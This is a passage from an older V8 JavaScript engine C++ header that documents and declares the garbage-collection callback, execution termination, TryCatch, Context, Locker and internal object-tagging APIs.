   * This function removes callback which was installed by
   * AddGCPrologueCallback function.
   */
  static void RemoveGCPrologueCallback(GCPrologueCallback callback);

  /**
   * The function is deprecated. Please use AddGCPrologueCallback instead.
   * Enables the host application to receive a notification before a
   * garbage collection.  Allocations are not allowed in the
   * callback function, you therefore cannot manipulate objects (set
   * or delete properties for example) since it is possible such
   * operations will result in the allocation of objects.
   */
  static void SetGlobalGCPrologueCallback(GCCallback);

  /**
   * Enables the host application to receive a notification after a
   * garbage collection.  Allocations are not allowed in the
   * callback function, you therefore cannot manipulate objects (set
   * or delete properties for example) since it is possible such
   * operations will result in the allocation of objects. It is possible
   * to specify the GCType filter for your callback. But it is not possible to
   * register the same callback function two times with different
   * GCType filters.
   */
  static void AddGCEpilogueCallback(
      GCEpilogueCallback callback, GCType gc_type_filter = kGCTypeAll);

  /**
   * This function removes callback which was installed by
   * AddGCEpilogueCallback function.
   */
  static void RemoveGCEpilogueCallback(GCEpilogueCallback callback);

  /**
   * The function is deprecated. Please use AddGCEpilogueCallback instead.
   * Enables the host application to receive a notification after a
   * major garbage collection.  Allocations are not allowed in the
   * callback function, you therefore cannot manipulate objects (set
   * or delete properties for example) since it is possible such
   * operations will result in the allocation of objects.
   */
  static void SetGlobalGCEpilogueCallback(GCCallback);

  /**
   * Enables the host application to provide a mechanism to be notified
   * and perform custom logging when V8 Allocates Executable Memory.
   */
  static void AddMemoryAllocationCallback(MemoryAllocationCallback callback,
                                          ObjectSpace space,
                                          AllocationAction action);

  /**
   * Removes callback that was installed by AddMemoryAllocationCallback.
   */
  static void RemoveMemoryAllocationCallback(MemoryAllocationCallback callback);

  /**
   * Adds a callback to notify the host application when a script finished
   * running.  If a script re-enters the runtime during executing, the
   * CallCompletedCallback is only invoked when the outer-most script
   * execution ends.  Executing scripts inside the callback do not trigger
   * further callbacks.
   */
  static void AddCallCompletedCallback(CallCompletedCallback callback);

  /**
   * Removes callback that was installed by AddCallCompletedCallback.
   */
  static void RemoveCallCompletedCallback(CallCompletedCallback callback);

  /**
   * Allows the host application to group objects together. If one
   * object in the group is alive, all objects in the group are alive.
   * After each garbage collection, object groups are removed. It is
   * intended to be used in the before-garbage-collection callback
   * function, for instance to simulate DOM tree connections among JS
   * wrapper objects.
   * See v8-profiler.h for RetainedObjectInfo interface description.
   */
  static void AddObjectGroup(Persistent<Value>* objects,
                             size_t length,
                             RetainedObjectInfo* info = NULL);

  /**
   * Allows the host application to declare implicit references between
   * the objects: if |parent| is alive, all |children| are alive too.
   * After each garbage collection, all implicit references
   * are removed.  It is intended to be used in the before-garbage-collection
   * callback function.
   */
  static void AddImplicitReferences(Persistent<Object> parent,
                                    Persistent<Value>* children,
                                    size_t length);

  /**
   * Initializes from snapshot if possible. Otherwise, attempts to
   * initialize from scratch.  This function is called implicitly if
   * you use the API without calling it first.
   */
  static bool Initialize();

  /**
   * Allows the host application to provide a callback which can be used
   * as a source of entropy for random number generators.
   */
  static void SetEntropySource(EntropySource source);

  /**
   * Allows the host application to provide a callback that allows v8 to
   * cooperate with a profiler that rewrites return addresses on stack.
   */
  static void SetReturnAddressLocationResolver(
      ReturnAddressLocationResolver return_address_resolver);

  /**
   * Adjusts the amount of registered external memory.  Used to give
   * V8 an indication of the amount of externally allocated memory
   * that is kept alive by JavaScript objects.  V8 uses this to decide
   * when to perform global garbage collections.  Registering
   * externally allocated memory will trigger global garbage
   * collections more often than otherwise in an attempt to garbage
   * collect the JavaScript objects keeping the externally allocated
   * memory alive.
   *
   * \param change_in_bytes the change in externally allocated memory
   *   that is kept alive by JavaScript objects.
   * \returns the adjusted value.
   */
  static intptr_t AdjustAmountOfExternalAllocatedMemory(
      intptr_t change_in_bytes);

  /**
   * Suspends recording of tick samples in the profiler.
   * When the V8 profiling mode is enabled (usually via command line
   * switches) this function suspends recording of tick samples.
   * Profiling ticks are discarded until ResumeProfiler() is called.
   *
   * See also the --prof and --prof_auto command line switches to
   * enable V8 profiling.
   */
  static void PauseProfiler();

  /**
   * Resumes recording of tick samples in the profiler.
   * See also PauseProfiler().
   */
  static void ResumeProfiler();

  /**
   * Return whether profiler is currently paused.
   */
  static bool IsProfilerPaused();

  /**
   * Retrieve the V8 thread id of the calling thread.
   *
   * The thread id for a thread should only be retrieved after the V8
   * lock has been acquired with a Locker object with that thread.
   */
  static int GetCurrentThreadId();

  /**
   * Forcefully terminate execution of a JavaScript thread.  This can
   * be used to terminate long-running scripts.
   *
   * TerminateExecution should only be called when then V8 lock has
   * been acquired with a Locker object.  Therefore, in order to be
   * able to terminate long-running threads, preemption must be
   * enabled to allow the user of TerminateExecution to acquire the
   * lock.
   *
   * The termination is achieved by throwing an exception that is
   * uncatchable by JavaScript exception handlers.  Termination
   * exceptions act as if they were caught by a C++ TryCatch exception
   * handler.  If forceful termination is used, any C++ TryCatch
   * exception handler that catches an exception should check if that
   * exception is a termination exception and immediately return if
   * that is the case.  Returning immediately in that case will
   * continue the propagation of the termination exception if needed.
   *
   * The thread id passed to TerminateExecution must have been
   * obtained by calling GetCurrentThreadId on the thread in question.
   *
   * \param thread_id The thread id of the thread to terminate.
   */
  static void TerminateExecution(int thread_id);

  /**
   * Forcefully terminate the current thread of JavaScript execution
   * in the given isolate. If no isolate is provided, the default
   * isolate is used.
   *
   * This method can be used by any thread even if that thread has not
   * acquired the V8 lock with a Locker object.
   *
   * \param isolate The isolate in which to terminate the current JS execution.
   */
  static void TerminateExecution(Isolate* isolate = NULL);

  /**
   * Is V8 terminating JavaScript execution.
   *
   * Returns true if JavaScript execution is currently terminating
   * because of a call to TerminateExecution.  In that case there are
   * still JavaScript frames on the stack and the termination
   * exception is still active.
   *
   * \param isolate The isolate in which to check.
   */
  static bool IsExecutionTerminating(Isolate* isolate = NULL);

  /**
   * Releases any resources used by v8 and stops any utility threads
   * that may be running.  Note that disposing v8 is permanent, it
   * cannot be reinitialized.
   *
   * It should generally not be necessary to dispose v8 before exiting
   * a process, this should happen automatically.  It is only necessary
   * to use if the process needs the resources taken up by v8.
   */
  static bool Dispose();

  /**
   * Get statistics about the heap memory usage.
   */
  static void GetHeapStatistics(HeapStatistics* heap_statistics);

  /**
   * Iterates through all external resources referenced from current isolate
   * heap. This method is not expected to be used except for debugging purposes
   * and may be quite slow.
   */
  static void VisitExternalResources(ExternalResourceVisitor* visitor);

  /**
   * Optional notification that the embedder is idle.
   * V8 uses the notification to reduce memory footprint.
   * This call can be used repeatedly if the embedder remains idle.
   * Returns true if the embedder should stop calling IdleNotification
   * until real work has been done.  This indicates that V8 has done
   * as much cleanup as it will be able to do.
   *
   * The hint argument specifies the amount of work to be done in the function
   * on scale from 1 to 1000. There is no guarantee that the actual work will
   * match the hint.
   */
  static bool IdleNotification(int hint = 1000);

  /**
   * Optional notification that the system is running low on memory.
   * V8 uses these notifications to attempt to free memory.
   */
  static void LowMemoryNotification();

  /**
   * Optional notification that a context has been disposed. V8 uses
   * these notifications to guide the GC heuristic. Returns the number
   * of context disposals - including this one - since the last time
   * V8 had a chance to clean up.
   */
  static int ContextDisposedNotification();

 private:
  V8();

  static internal::Object** GlobalizeReference(internal::Object** handle);
  static void DisposeGlobal(internal::Object** global_handle);
  static void MakeWeak(internal::Object** global_handle,
                       void* data,
                       WeakReferenceCallback);
  static void ClearWeak(internal::Object** global_handle);
  static void MarkIndependent(internal::Object** global_handle);
  static bool IsGlobalNearDeath(internal::Object** global_handle);
  static bool IsGlobalWeak(internal::Object** global_handle);
  static void SetWrapperClassId(internal::Object** global_handle,
                                uint16_t class_id);

  template <class T> friend class Handle;
  template <class T> friend class Local;
  template <class T> friend class Persistent;
  friend class Context;
};


/**
 * An external exception handler.
 */
class V8EXPORT TryCatch {
 public:
  /**
   * Creates a new try/catch block and registers it with v8.
   */
  TryCatch();

  /**
   * Unregisters and deletes this try/catch block.
   */
  ~TryCatch();

  /**
   * Returns true if an exception has been caught by this try/catch block.
   */
  bool HasCaught() const;

  /**
   * For certain types of exceptions, it makes no sense to continue
   * execution.
   *
   * Currently, the only type of exception that can be caught by a
   * TryCatch handler and for which it does not make sense to continue
   * is termination exception.  Such exceptions are thrown when the
   * TerminateExecution methods are called to terminate a long-running
   * script.
   *
   * If CanContinue returns false, the correct action is to perform
   * any C++ cleanup needed and then return.
   */
  bool CanContinue() const;

  /**
   * Throws the exception caught by this TryCatch in a way that avoids
   * it being caught again by this same TryCatch.  As with ThrowException
   * it is illegal to execute any JavaScript operations after calling
   * ReThrow; the caller must return immediately to where the exception
   * is caught.
   */
  Handle<Value> ReThrow();

  /**
   * Returns the exception caught by this try/catch block.  If no exception has
   * been caught an empty handle is returned.
   *
   * The returned handle is valid until this TryCatch block has been destroyed.
   */
  Local<Value> Exception() const;

  /**
   * Returns the .stack property of the thrown object.  If no .stack
   * property is present an empty handle is returned.
   */
  Local<Value> StackTrace() const;

  /**
   * Returns the message associated with this exception.  If there is
   * no message associated an empty handle is returned.
   *
   * The returned handle is valid until this TryCatch block has been
   * destroyed.
   */
  Local<v8::Message> Message() const;

  /**
   * Clears any exceptions that may have been caught by this try/catch block.
   * After this method has been called, HasCaught() will return false.
   *
   * It is not necessary to clear a try/catch block before using it again; if
   * another exception is thrown the previously caught exception will just be
   * overwritten.  However, it is often a good idea since it makes it easier
   * to determine which operation threw a given exception.
   */
  void Reset();

  /**
   * Set verbosity of the external exception handler.
   *
   * By default, exceptions that are caught by an external exception
   * handler are not reported.  Call SetVerbose with true on an
   * external exception handler to have exceptions caught by the
   * handler reported as if they were not caught.
   */
  void SetVerbose(bool value);

  /**
   * Set whether or not this TryCatch should capture a Message object
   * which holds source information about where the exception
   * occurred.  True by default.
   */
  void SetCaptureMessage(bool value);

 private:
  v8::internal::Isolate* isolate_;
  void* next_;
  void* exception_;
  void* message_;
  bool is_verbose_ : 1;
  bool can_continue_ : 1;
  bool capture_message_ : 1;
  bool rethrow_ : 1;

  friend class v8::internal::Isolate;
};


// --- Context ---


/**
 * Ignore
 */
class V8EXPORT ExtensionConfiguration {
 public:
  ExtensionConfiguration(int name_count, const char* names[])
      : name_count_(name_count), names_(names) { }
 private:
  friend class ImplementationUtilities;
  int name_count_;
  const char** names_;
};


/**
 * A sandboxed execution context with its own set of built-in objects
 * and functions.
 */
class V8EXPORT Context {
 public:
  /**
   * Returns the global proxy object or global object itself for
   * detached contexts.
   *
   * Global proxy object is a thin wrapper whose prototype points to
   * actual context's global object with the properties like Object, etc.
   * This is done that way for security reasons (for more details see
   * https://wiki.mozilla.org/Gecko:SplitWindow).
   *
   * Please note that changes to global proxy object prototype most probably
   * would break VM---v8 expects only global object as a prototype of
   * global proxy object.
   *
   * If DetachGlobal() has been invoked, Global() would return actual global
   * object until global is reattached with ReattachGlobal().
   */
  Local<Object> Global();

  /**
   * Detaches the global object from its context before
   * the global object can be reused to create a new context.
   */
  void DetachGlobal();

  /**
   * Reattaches a global object to a context.  This can be used to
   * restore the connection between a global object and a context
   * after DetachGlobal has been called.
   *
   * \param global_object The global object to reattach to the
   *   context.  For this to work, the global object must be the global
   *   object that was associated with this context before a call to
   *   DetachGlobal.
   */
  void ReattachGlobal(Handle<Object> global_object);

  /** Creates a new context.
   *
   * Returns a persistent handle to the newly allocated context. This
   * persistent handle has to be disposed when the context is no
   * longer used so the context can be garbage collected.
   *
   * \param extensions An optional extension configuration containing
   * the extensions to be installed in the newly created context.
   *
   * \param global_template An optional object template from which the
   * global object for the newly created context will be created.
   *
   * \param global_object An optional global object to be reused for
   * the newly created context. This global object must have been
   * created by a previous call to Context::New with the same global
   * template. The state of the global object will be completely reset
   * and only object identify will remain.
   */
  static Persistent<Context> New(
      ExtensionConfiguration* extensions = NULL,
      Handle<ObjectTemplate> global_template = Handle<ObjectTemplate>(),
      Handle<Value> global_object = Handle<Value>());

  /** Returns the last entered context. */
  static Local<Context> GetEntered();

  /** Returns the context that is on the top of the stack. */
  static Local<Context> GetCurrent();

  /**
   * Returns the context of the calling JavaScript code.  That is the
   * context of the top-most JavaScript frame.  If there are no
   * JavaScript frames an empty handle is returned.
   */
  static Local<Context> GetCalling();

  /**
   * Sets the security token for the context.  To access an object in
   * another context, the security tokens must match.
   */
  void SetSecurityToken(Handle<Value> token);

  /** Restores the security token to the default value. */
  void UseDefaultSecurityToken();

  /** Returns the security token of this context.*/
  Handle<Value> GetSecurityToken();

  /**
   * Enter this context.  After entering a context, all code compiled
   * and run is compiled and run in this context.  If another context
   * is already entered, this old context is saved so it can be
   * restored when the new context is exited.
   */
  void Enter();

  /**
   * Exit this context.  Exiting the current context restores the
   * context that was in place when entering the current context.
   */
  void Exit();

  /** Returns true if the context has experienced an out of memory situation. */
  bool HasOutOfMemoryException();

  /** Returns true if V8 has a current context. */
  static bool InContext();

  /**
   * Associate an additional data object with the context. This is mainly used
   * with the debugger to provide additional information on the context through
   * the debugger API.
   */
  void SetData(Handle<String> data);
  Local<Value> GetData();

  /**
   * Control whether code generation from strings is allowed. Calling
   * this method with false will disable 'eval' and the 'Function'
   * constructor for code running in this context. If 'eval' or the
   * 'Function' constructor are used an exception will be thrown.
   *
   * If code generation from strings is not allowed the
   * V8::AllowCodeGenerationFromStrings callback will be invoked if
   * set before blocking the call to 'eval' or the 'Function'
   * constructor. If that callback returns true, the call will be
   * allowed, otherwise an exception will be thrown. If no callback is
   * set an exception will be thrown.
   */
  void AllowCodeGenerationFromStrings(bool allow);

  /**
   * Returns true if code generation from strings is allowed for the context.
   * For more details see AllowCodeGenerationFromStrings(bool) documentation.
   */
  bool IsCodeGenerationFromStringsAllowed();

  /**
   * Stack-allocated class which sets the execution context for all
   * operations executed within a local scope.
   */
  class Scope {
   public:
    explicit inline Scope(Handle<Context> context) : context_(context) {
      context_->Enter();
    }
    inline ~Scope() { context_->Exit(); }
   private:
    Handle<Context> context_;
  };

 private:
  friend class Value;
  friend class Script;
  friend class Object;
  friend class Function;
};


/**
 * Multiple threads in V8 are allowed, but only one thread at a time
 * is allowed to use any given V8 isolate. See Isolate class
 * comments. The definition of 'using V8 isolate' includes
 * accessing handles or holding onto object pointers obtained
 * from V8 handles while in the particular V8 isolate.  It is up
 * to the user of V8 to ensure (perhaps with locking) that this
 * constraint is not violated.  In addition to any other synchronization
 * mechanism that may be used, the v8::Locker and v8::Unlocker classes
 * must be used to signal thead switches to V8.
 *
 * v8::Locker is a scoped lock object. While it's
 * active (i.e. between its construction and destruction) the current thread is
 * allowed to use the locked isolate. V8 guarantees that an isolate can be
 * locked by at most one thread at any time. In other words, the scope of a
 * v8::Locker is a critical section.
 *
 * Sample usage:
* \code
 * ...
 * {
 *   v8::Locker locker(isolate);
 *   v8::Isolate::Scope isolate_scope(isolate);
 *   ...
 *   // Code using V8 and isolate goes here.
 *   ...
 * } // Destructor called here
 * \endcode
 *
 * If you wish to stop using V8 in a thread A you can do this either
 * by destroying the v8::Locker object as above or by constructing a
 * v8::Unlocker object:
 *
 * \code
 * {
 *   isolate->Exit();
 *   v8::Unlocker unlocker(isolate);
 *   ...
 *   // Code not using V8 goes here while V8 can run in another thread.
 *   ...
 * } // Destructor called here.
 * isolate->Enter();
 * \endcode
 *
 * The Unlocker object is intended for use in a long-running callback
 * from V8, where you want to release the V8 lock for other threads to
 * use.
 *
 * The v8::Locker is a recursive lock.  That is, you can lock more than
 * once in a given thread.  This can be useful if you have code that can
 * be called either from code that holds the lock or from code that does
 * not.  The Unlocker is not recursive so you can not have several
 * Unlockers on the stack at once, and you can not use an Unlocker in a
 * thread that is not inside a Locker's scope.
 *
 * An unlocker will unlock several lockers if it has to and reinstate
 * the correct depth of locking on its destruction. eg.:
 *
 * \code
 * // V8 not locked.
 * {
 *   v8::Locker locker(isolate);
 *   Isolate::Scope isolate_scope(isolate);
 *   // V8 locked.
 *   {
 *     v8::Locker another_locker(isolate);
 *     // V8 still locked (2 levels).
 *     {
 *       isolate->Exit();
 *       v8::Unlocker unlocker(isolate);
 *       // V8 not locked.
 *     }
 *     isolate->Enter();
 *     // V8 locked again (2 levels).
 *   }
 *   // V8 still locked (1 level).
 * }
 * // V8 Now no longer locked.
 * \endcode
 *
 *
 */
class V8EXPORT Unlocker {
 public:
  /**
   * Initialize Unlocker for a given Isolate. NULL means default isolate.
   */
  explicit Unlocker(Isolate* isolate = NULL);
  ~Unlocker();
 private:
  internal::Isolate* isolate_;
};


class V8EXPORT Locker {
 public:
  /**
   * Initialize Locker for a given Isolate. NULL means default isolate.
   */
  explicit Locker(Isolate* isolate = NULL);
  ~Locker();

  /**
   * Start preemption.
   *
   * When preemption is started, a timer is fired every n milliseconds
   * that will switch between multiple threads that are in contention
   * for the V8 lock.
   */
  static void StartPreemption(int every_n_ms);

  /**
   * Stop preemption.
   */
  static void StopPreemption();

  /**
   * Returns whether or not the locker for a given isolate, or default isolate
   * if NULL is given, is locked by the current thread.
   */
  static bool IsLocked(Isolate* isolate = NULL);

  /**
   * Returns whether v8::Locker is being used by this V8 instance.
   */
  static bool IsActive();

 private:
  bool has_lock_;
  bool top_level_;
  internal::Isolate* isolate_;

  static bool active_;

  // Disallow copying and assigning.
  Locker(const Locker&);
  void operator=(const Locker&);
};


/**
 * A struct for exporting HeapStats data from V8, using "push" model.
 */
struct HeapStatsUpdate;


/**
 * An interface for exporting data from V8, using "push" model.
 */
class V8EXPORT OutputStream {  // NOLINT
 public:
  enum OutputEncoding {
    kAscii = 0  // 7-bit ASCII.
  };
  enum WriteResult {
    kContinue = 0,
    kAbort = 1
  };
  virtual ~OutputStream() {}
  /** Notify about the end of stream. */
  virtual void EndOfStream() = 0;
  /** Get preferred output chunk size. Called only once. */
  virtual int GetChunkSize() { return 1024; }
  /** Get preferred output encoding. Called only once. */
  virtual OutputEncoding GetOutputEncoding() { return kAscii; }
  /**
   * Writes the next chunk of snapshot data into the stream. Writing
   * can be stopped by returning kAbort as function result. EndOfStream
   * will not be called in case writing was aborted.
   */
  virtual WriteResult WriteAsciiChunk(char* data, int size) = 0;
  /**
   * Writes the next chunk of heap stats data into the stream. Writing
   * can be stopped by returning kAbort as function result. EndOfStream
   * will not be called in case writing was aborted.
   */
  virtual WriteResult WriteHeapStatsChunk(HeapStatsUpdate* data, int count) {
    return kAbort;
  };
};


/**
 * An interface for reporting progress and controlling long-running
 * activities.
 */
class V8EXPORT ActivityControl {  // NOLINT
 public:
  enum ControlOption {
    kContinue = 0,
    kAbort = 1
  };
  virtual ~ActivityControl() {}
  /**
   * Notify about current progress. The activity can be stopped by
   * returning kAbort as the callback result.
   */
  virtual ControlOption ReportProgressValue(int done, int total) = 0;
};


// --- Implementation ---


namespace internal {

const int kApiPointerSize = sizeof(void*);  // NOLINT
const int kApiIntSize = sizeof(int);  // NOLINT

// Tag information for HeapObject.
const int kHeapObjectTag = 1;
const int kHeapObjectTagSize = 2;
const intptr_t kHeapObjectTagMask = (1 << kHeapObjectTagSize) - 1;

// Tag information for Smi.
const int kSmiTag = 0;
const int kSmiTagSize = 1;
const intptr_t kSmiTagMask = (1 << kSmiTagSize) - 1;

template <size_t ptr_size> struct SmiTagging;

// Smi constants for 32-bit systems.
template <> struct SmiTagging<4> {
  static const int kSmiShiftSize = 0;
  static const int kSmiValueSize = 31;
  static inline int SmiToInt(internal::Object* value) {
    int shift_bits = kSmiTagSize + kSmiShiftSize;
    // Throw away top 32 bits and shift down (requires >> to be sign extending).
    return static_cast<int>(reinterpret_cast<intptr_t>(value)) >> shift_bits;
  }

  // For 32-bit systems any 2 bytes aligned pointer can be encoded as smi
  // with a plain reinterpret_cast.
  static const uintptr_t kEncodablePointerMask = 0x1;
  static const int kPointerToSmiShift = 0;
};

// Smi constants for 64-bit systems.
template <> struct SmiTagging<8> {
  static const int kSmiShiftSize = 31;
  static const int kSmiValueSize = 32;
  static inline int SmiToInt(internal::Object* value) {
    int shift_bits = kSmiTagSize + kSmiShiftSize;
    // Shift down and throw away top 32 bits.
    return static_cast<int>(reinterpret_cast<intptr_t>(value) >> shift_bits);
  }

  // To maximize the range of pointers that can be encoded
  // in the available 32 bits, we require them to be 8 bytes aligned.
  // This gives 2 ^ (32 + 3) = 32G address space covered.
  // It might be not enough to cover stack allocated objects on some platforms.
  static const int kPointerAlignment = 3;

  static const uintptr_t kEncodablePointerMask =
      ~(uintptr_t(0xffffffff) << kPointerAlignment);

  static const int kPointerToSmiShift =
      kSmiTagSize + kSmiShiftSize - kPointerAlignment;
};

typedef SmiTagging<kApiPointerSize> PlatformSmiTagging;
const int kSmiShiftSize = PlatformSmiTagging::kSmiShiftSize;
const int kSmiValueSize = PlatformSmiTagging::kSmiValueSize;
const uintptr_t kEncodablePointerMask =
    PlatformSmiTagging::kEncodablePointerMask;
const int kPointerToSmiShift = PlatformSmiTagging::kPointerToSmiShift;

/**
 * This class exports constants and functionality from within v8 that
 * is necessary to implement inline functions in the v8 api.  Don't
 * depend on functions and constants defined here.
 */
class Internals {
 public:
  // These values match non-compiler-dependent values defined within
  // the implementation of v8.
  static const int kHeapObjectMapOffset = 0;
  static const int kMapInstanceTypeOffset = 1 * kApiPointerSize + kApiIntSize;
  static const int kStringResourceOffset = 3 * kApiPointerSize;

  static const int kOddballKindOffset = 3 * kApiPointerSize;
  static const int kForeignAddressOffset = kApiPointerSize;
  static const int kJSObjectHeaderSize = 3 * kApiPointerSize;
  static const int kFullStringRepresentationMask = 0x07;
  static const int kExternalTwoByteRepresentationTag = 0x02;

  static const int kIsolateStateOffset = 0;
  static const int kIsolateEmbedderDataOffset = 1 * kApiPointerSize;
  static const int kIsolateRootsOffset = 3 * kApiPointerSize;
  static const int kUndefinedValueRootIndex = 5;
  static const int kNullValueRootIndex = 7;
  static const int kTrueValueRootIndex = 8;
  static const int kFalseValueRootIndex = 9;
  static const int kEmptySymbolRootIndex = 112;

  static const int kJSObjectType = 0xaa;
  static const int kFirstNonstringType = 0x80;
  static const int kOddballType = 0x82;
  static const int kForeignType = 0x85;

  static const int kUndefinedOddballKind = 5;
  static const int kNullOddballKind = 3;

  static inline bool HasHeapObjectTag(internal::Object* value) {
    return ((reinterpret_cast<intptr_t>(value) & kHeapObjectTagMask) ==
            kHeapObjectTag);
  }

  static inline bool HasSmiTag(internal::Object* value) {
    return ((reinterpret_cast<intptr_t>(value) & kSmiTagMask) == kSmiTag);
  }

  static inline int SmiValue(internal::Object* value) {
    return PlatformSmiTagging::SmiToInt(value);
  }

  static inline int GetInstanceType(internal::Object* obj) {
    typedef internal::Object O;
    O* map = ReadField<O*>(obj, kHeapObjectMapOffset);
    return ReadField<uint8_t>(map, kMapInstanceTypeOffset);
  }

  static inline int GetOddballKind(internal::Object* obj) {
    typedef internal::Object O;
    return SmiValue(ReadField<O*>(obj, kOddballKindOffset));
  }

  static inline void* GetExternalPointerFromSmi(internal::Object* value) {
    const uintptr_t address = reinterpret_cast<uintptr_t>(value);
    return reinterpret_cast<void*>(address >> kPointerToSmiShift);
  }

  static inline void* GetExternalPointer(internal::Object* obj) {
    if (HasSmiTag(obj)) {
      return GetExternalPointerFromSmi(obj);
    } else if (GetInstanceType(obj) == kForeignType) {
      return ReadField<void*>(obj, kForeignAddressOffset);
    } else {
      return NULL;
    }
  }

  static inline bool IsExternalTwoByteString(int instance_type) {
    int representation = (instance_type & kFullStringRepresentationMask);
    return representation == kExternalTwoByteRepresentationTag;
  }

  static inline bool IsInitialized(v8::Isolate* isolate) {
    uint8_t* addr = reinterpret_cast<uint8_t*>(isolate) + kIsolateStateOffset;
    return *reinterpret_cast<int*>(addr) == 1;
  }

  static inline void SetEmbedderData(v8::Isolate* isolate, void* data) {
    uint8_t* addr = reinterpret_cast<uint8_t*>(isolate) +
        kIsolateEmbedderDataOffset;
    *reinterpret_cast<void**>(addr) = data;
  }

  static inline void* GetEmbedderData(v8::Isolate* isolate) {
    uint8_t* addr = reinterpret_cast<uint8_t*>(isolate) +
        kIsolateEmbedderDataOffset;
    return *reinterpret_cast<void**>(addr);
  }

  static inline internal::Object** GetRoot(v8::Isolate* isolate, int index) {
    uint8_t* addr = reinterpret_cast<uint8_t*>(isolate) + kIsolateRootsOffset;
    return reinterpret_cast<internal::Object**>(addr + index * kApiPointerSize);
  }

  template <typename T>
  static inline T ReadField(Object* ptr, int offset) {
    uint8_t* addr = reinterpret_cast<uint8_t*>(ptr) + offset - kHeapObjectTag;
    return *reinterpret_cast<T*>(addr);
  }

  static inline bool CanCastToHeapObject(void* o) { return false; }
  static inline bool CanCastToHeapObject(Context* o) { return true; }
  static inline bool CanCastToHeapObject(String* o) { return true; }
  static inline bool CanCastToHeapObject(Object* o) { return true; }
  static inline bool CanCastToHeapObject(Message* o) { return true; }
  static inline bool CanCastToHeapObject(StackTrace* o) { return true; }
  static inline bool CanCastToHeapObject(StackFrame* o) { return true; }
};

}  // namespace internal


template <class T>
Local<T>::Local() : Handle<T>() { }


template <class T>
Local<T> Local<T>::New(Handle<T> that) {
  if (that.IsEmpty()) return Local<T>();
  T* that_ptr = *that;
  internal::Object** p = reinterpret_cast<internal::Object**>(that_ptr);
  if (internal::Internals::CanCastToHeapObject(that_ptr)) {
    return Local<T>(reinterpret_cast<T*>(HandleScope::CreateHandle(
        reinterpret_cast<internal::HeapObject*>(*p))));
  }
  return Local<T>(reinterpret_cast<T*>(HandleScope::CreateHandle(*p)));
}


template <class T>
Persistent<T> Persistent<T>::New(Handle<T> that) {
  if (that.IsEmpty()) return Persistent<T>();
  internal::Object** p = reinterpret_cast<internal::Object**>(*that);
  return Persistent<T>(reinterpret_cast<T*>(V8::GlobalizeReference(p)));
}


template <class T>
bool Persistent<T>::IsNearDeath() const {
  if (this->IsEmpty()) return false;
  return V8::IsGlobalNearDeath(reinterpret_cast<internal::Object**>(**this));
}


template <class T>
bool Persistent<T>::IsWeak() const {
  if (this->IsEmpty()) return false;
  return V8::IsGlobalWeak(reinterpret_cast<internal::Object**>(**this));
}


template <class T>
void Persistent<T>::Dispose() {
  if (this->IsEmpty()) return;
  V8::DisposeGlobal(reinterpret_cast<internal::Object**>(**this));
}


template <class T>
Persistent<T>::Persistent() : Handle<T>() { }

template <class T>
void Persistent<T>::MakeWeak(void* parameters, WeakReferenceCallback callback) {
  V8::MakeWeak(reinterpret_cast<internal::Object**>(**this),
               parameters,
               callback);
}

template <class T>
void Persistent<T>::ClearWeak() {
  V8::ClearWeak(reinterpret_cast<internal::Object**>(**this));
}

template <class T>
void Persistent<T>::MarkIndependent() {
  V8::MarkIndependent(reinterpret_cast<internal::Object**>(**this));
}

template <class T>
void Persistent<T>::SetWrapperClassId(uint16_t class_id) {
  V8::SetWrapperClassId(reinterpret_cast<internal::Object**>(**this), class_id);
}

Arguments::Arguments(internal::Object** implicit_args,
                     internal::Object** values, int length,
                     bool is_construct_call)
    : implicit_args_(implicit_args),
      values_(values),
      length_(length),
      is_construct_call_(is_construct_call) { }


Local<Value> Arguments::operator[](int i) const {
  if (i < 0 || length_ <= i) return Local<Value>(*Undefined());
  return Local<Value>(reinterpret_cast<Value*>(values_ - i));
}


Local<Function> Arguments::Callee() const {
  return Local<Function>(reinterpret_cast<Function*>(
      &implicit_args_[kCalleeIndex]));
}


Local<Object> Arguments::This() const {
  return Local<Object>(reinterpret_cast<Object*>(values_ + 1));
}


Local<Object> Arguments::Holder() const {
  return Local<Object>(reinterpret_cast<Object*>(
      &implicit_args_[kHolderIndex]));
}


Local<Value> Arguments::Data() const {
  return Local<Value>(reinterpret_cast<Value*>(&implicit_args_[kDataIndex]));
}


Isolate* Arguments::GetIsolate() const {
  return *reinterpret_cast<Isolate**>(&implicit_args_[kIsolateIndex]);
}


bool Arguments::IsConstructCall() const {
  return is_construct_call_;
}


int Arguments::Length() const {
  return length_;
}


template <class T>
Local<T> HandleScope::Close(Handle<T> value) {
  internal::Object** before = reinterpret_cast<internal::Object**>(*value);
  internal::Object** after = RawClose(before);
  return Local<T>(reinterpret_cast<T*>(after));
}

Handle<Value> ScriptOrigin::ResourceName() const {
  return resource_name_;
}


Handle<Integer> ScriptOrigin::ResourceLineOffset() const {
  return resource_line_offset_;
}


Handle<Integer> ScriptOrigin::ResourceColumnOffset() const {
  return resource_column_offset_;
}


Handle<Boolean> Boolean::New(bool value) {
  return value ? True() : False();
}


void Template::Set(const char* name, v8::Handle<Data> value) {
  Set(v8::String::New(name), value);
}


Local<Value> Object::GetInternalField(int index) {
#ifndef V8_ENABLE_CHECKS
  Local<Value> quick_result = UncheckedGetInternalField(index);
  if (!quick_result.IsEmpty()) return quick_result;
#endif
  return CheckedGetInternalField(index);
}


Local<Value> Object::UncheckedGetInternalField(int index) {
  typedef internal::Object O;
  typedef internal::Internals I;
  O* obj = *reinterpret_cast<O**>(this);
  if (I::GetInstanceType(obj) == I::kJSObjectType) {
    // If the object is a plain JSObject, which is the common case,
    // we know where to find the internal fields and can return the
    // value directly.
    int offset = I::kJSObjectHeaderSize + (internal::kApiPointerSize * index);
    O* value = I::ReadField<O*>(obj, offset);
    O** result = HandleScope::CreateHandle(value);
    return Local<Value>(reinterpret_cast<Value*>(result));
  } else {
    return Local<Value>();
  }
}


void* External::Unwrap(Handle<v8::Value> obj) {
#ifdef V8_ENABLE_CHECKS
  return FullUnwrap(obj);
#else
  return QuickUnwrap(obj);
#endif
}


void* External::QuickUnwrap(Handle<v8::Value> wrapper) {
  typedef internal::Object O;
  O* obj = *reinterpret_cast<O**>(const_cast<v8::Value*>(*wrapper));
  return internal::Internals::GetExternalPointer(obj);
}


void* Object::GetPointerFromInternalField(int index) {
  typedef internal::Object O;
  typedef internal::Internals I;

  O* obj = *reinterpret_cast<O**>(this);

  if (I::GetInstanceType(obj) == I::kJSObjectType) {
    // If the object is a plain JSObject, which is the common case,
    // we know where to find the internal fields and can return the
    // value directly.
    int offset = I::kJSObjectHeaderSize + (internal::kApiPointerSize * index);
